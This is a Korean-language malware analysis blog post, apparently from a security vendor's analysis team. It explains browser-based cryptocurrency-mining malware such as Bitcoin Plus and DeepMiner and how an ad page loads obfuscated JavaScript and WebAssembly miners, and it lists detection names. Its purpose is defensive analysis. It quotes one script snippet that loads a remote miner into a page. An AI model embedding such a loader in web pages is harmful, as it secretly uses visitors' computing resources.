본문 바로가기
악성코드 정보

웹 브라우저를 통해 마이닝 동작하는 악성코드

by 분석팀 2018. 1. 17.

암호화폐 시장이 달아오름과 동시에 채굴 방식 또한 점차 다양해지고 있다. PC에 악성 채굴기 실행파일을 몰래 설치하는 악성코드뿐만 아니라[각주:1], 웹 브라우저를 기반으로 하여 암호화폐를 채굴하는 방식이 2017년부터 폭증하고 있다. 

웹 브라우저 기반으로 동작하는 마이닝 방식은 기존의 실행 파일 기반과는 다르게 악성 자바스크립트(JavaScript)를 이용해 동작한다. 자바스크립트는 추가로 악성 자바(JAVA) 파일 또는 웹어셈블리(WebAssembly) 파일을 로드할 수 있으며, 해당 웹 페이지에 접속했을 때 접속자는 개인 하드웨어 자원을 이용하여 채굴을 하게 되고 그 결과는 공격자의 지갑 주소에 전송된다. 

파일 기반의 악성코드는 최종 페이로드를 사용자 시스템에 전달하기 위해 파일 다운로드 후 실행하기까지 과정이 필요하지만, 웹 기반의 마이닝 악성코드는 단순 웹 페이지 접속 조건만을 만족하면 되기 때문에 공격자 입장에서는 좀 더 손쉬운 채굴 방식이 될 수 있다.

웹 브라우저를 이용한 최초의 마이닝 방식은 암호화폐 가격이 지금보다 낮았던 2011년에 이미 확인된 바 있다. ‘Bitcoin Plus’란 이름의 서비스는 비트코인을 채굴할 목적으로 작성된 자바스크립트를 제공하였다. 이 스크립트는 악성 자바아카이브(JAR) 파일을 다운로드 하고 자바 실행 환경의 시스템에서 채굴하였다.

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>

<script src="http://www.bitcoinplus.com/js/miner.js" type="text/javascript"></script>

<script type="text/javascript">BitcoinPlusMiner("donny@bitcoinplus.com")</script>

miner.js - 악성 JAR 파일 bitcoinplus-miner.jar 로드

bitcoinplus-miner.jar - 실제 마이닝 기능을 수행

최근에는 암호화폐 종류가 다양해지고 마이닝이 인기가 높아짐에 자바스크립트 마이너 파일 역시 다양하게 제작, 유포되고 있다. 대표적으로는 CoinHive (XMR 채굴)이 있으며 이 외에도 CryptoNoter(XMR, BCN, ETN), DeepMiner(XMR, ETN 외) 등 다양하다. 이러한 마이너 파일들은 GitHub 등 저장소에 소스가 공개되어 있어 접근하기도 쉽다. 자바스크립트 파일 외에 지갑 주소, 프록시, 스레드 개수 등을 설정하는 Config 파일을 별도로 구현하기도 하며 이는 마이너마다 차이가 있다.

공격자는 다음과 같은 방식 등을 이용하여 악성 마이너 파일을 웹 브라우저에 로드할 수 있다. 

  • 개인 사이트 또는 블로그에 악성 자바스크립트 포함
  • 해킹으로 탈취한 사이트에 악성 자바스크립트 포함 (Ex. iframe 태그 이용)
  • 정상 사이트에 포함된 광고 배너에 악성 자바스크립트 포함
다음은 최근 접수된 샘플로 ad1.html 이름의 광고성 페이지 안에 악성 자바스크립트 파일을 로드하는 코드가 삽입되어 있다.

ad1.html – 마이닝 목적의 자바스크립트 파일 로드

로드 된 deepMiner.js 파일은 다음과 같이 난독화 되어 있는 파일이다. 소켓 관리, 마이닝 기능 수행 시작 등 실질적인 기능에 대한 구현 부분만 포함하고 있으며 접속 풀 주소, 호스트, 포트 등의 기본 정보는 파일 내에 없다. 이 부분은 서버에 업로드 된 별도의 설정 파일로 구현 되어있을 것으로 보인다. 

deepMiner.js – 난독화 되어 있음

ad1.html 페이지 접속시 로드 된 deepMiner.js 파일은 채굴을 위한 CryptoNight 알고리즘 수행을 위해 worker.min.js 파일을 로드한다. 

추가 파일 로드

worker.min.js 파일 또한 난독화 되어 있는데 이 파일은 유포지의 /lib/ 경로에 존재하는 해시 알고리즘 구현 파일인 cryptonight.asm.js 파일 또는 cryptonight.wasm 웹어셈블리 파일을 로드하여 메모리에 올리는 역할을 한다. 웹어셈블리 파일은 웹 브라우저 상에서 실행 가능한 컴파일된 바이너리로서 자바스크립트(인터프리터 방식)보다 훨씬 빠른 속도로 실행 가능하다. 다만 웹어셈블리 WASM 파일은 컴파일 된 형태이기 때문에 외형만 봐서는 그 기능을 파악하기 어렵다. 따라서 이를 웹어셈블리를 텍스트 형식 파일인 WAT 파일로 변환하면 부분적으로 그 기능을 파악할 수 있다. 

웹어셈블리 파일 – 해시 알고리즘 구현

웹어셈블리 파일 텍스트 포맷 – 해시 알고리즘 구현

웹어셈블리를 이용한 것은 채굴을 좀 더 빠르고 효과적으로 하기 위한 방식으로, 최근 발견되는 악성코드는 대부분 해시 알고리즘 부분을 웹어셈블리 파일로 구현하여 로드하는 것으로 확인된다.

참고로 웹어셈블리는 브라우저 종류와 버전에 따라 지원 여부가 다르다. 만약 지원하지 않는 브라우저 환경일 경우에는 원본 코드인 자바스크립트 파일을 로드한다. 작성 기준 현재 Internet Explorer 는 웹어셈블리를 지원하지 않는다.[각주:2] Internet Explorer 로 ad1.html 페이지를 방문한 사용자는 웹어셈블리 파일 대신 asm.js 자바스크립트 파일이 로딩된다. 

최종적으로 마이닝 기능을 위한 파일이 모두 로드 되면 웹 브라우저의 CPU 사용량이 급등하며 채굴 기능이 수행된다. 

지금까지 살펴본 바와 같이 암호화폐 채굴 악성코드는 채굴자 개인의 PC 자원 혹은 다른 사람의 자원을 이용하기 위해 최근 들어서 그 수가 증가하고 있다. 웹 브라우저에 로드되어 마이닝 기능을 수행되는 방식은 웹브라우저를 종료하면 그 기능이 종료되고 현재까지는 채굴 이외의 기능은 확인되지 않고 있다. 하지만 사용자의 시스템 자원을 무단으로 이용하고 불특정 다수를 대상으로 악성 행위를 하기 때문에 주의를 기울일 필요가 있다. 

V3 제품군에서는 다음과 같은 진단명으로 탐지하고 있다.

  • HTML/CoinMiner
  • JAVA/CoinMiner
  • JS/CoinMiner
  • WASM/Cryptojs


  1. http://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?curPage=3&menu_dist=2&seq=26900&key=&dir_group_dist=&dir_code= [본문으로]
  2. https://caniuse.com/#search=webassembly [본문으로]

댓글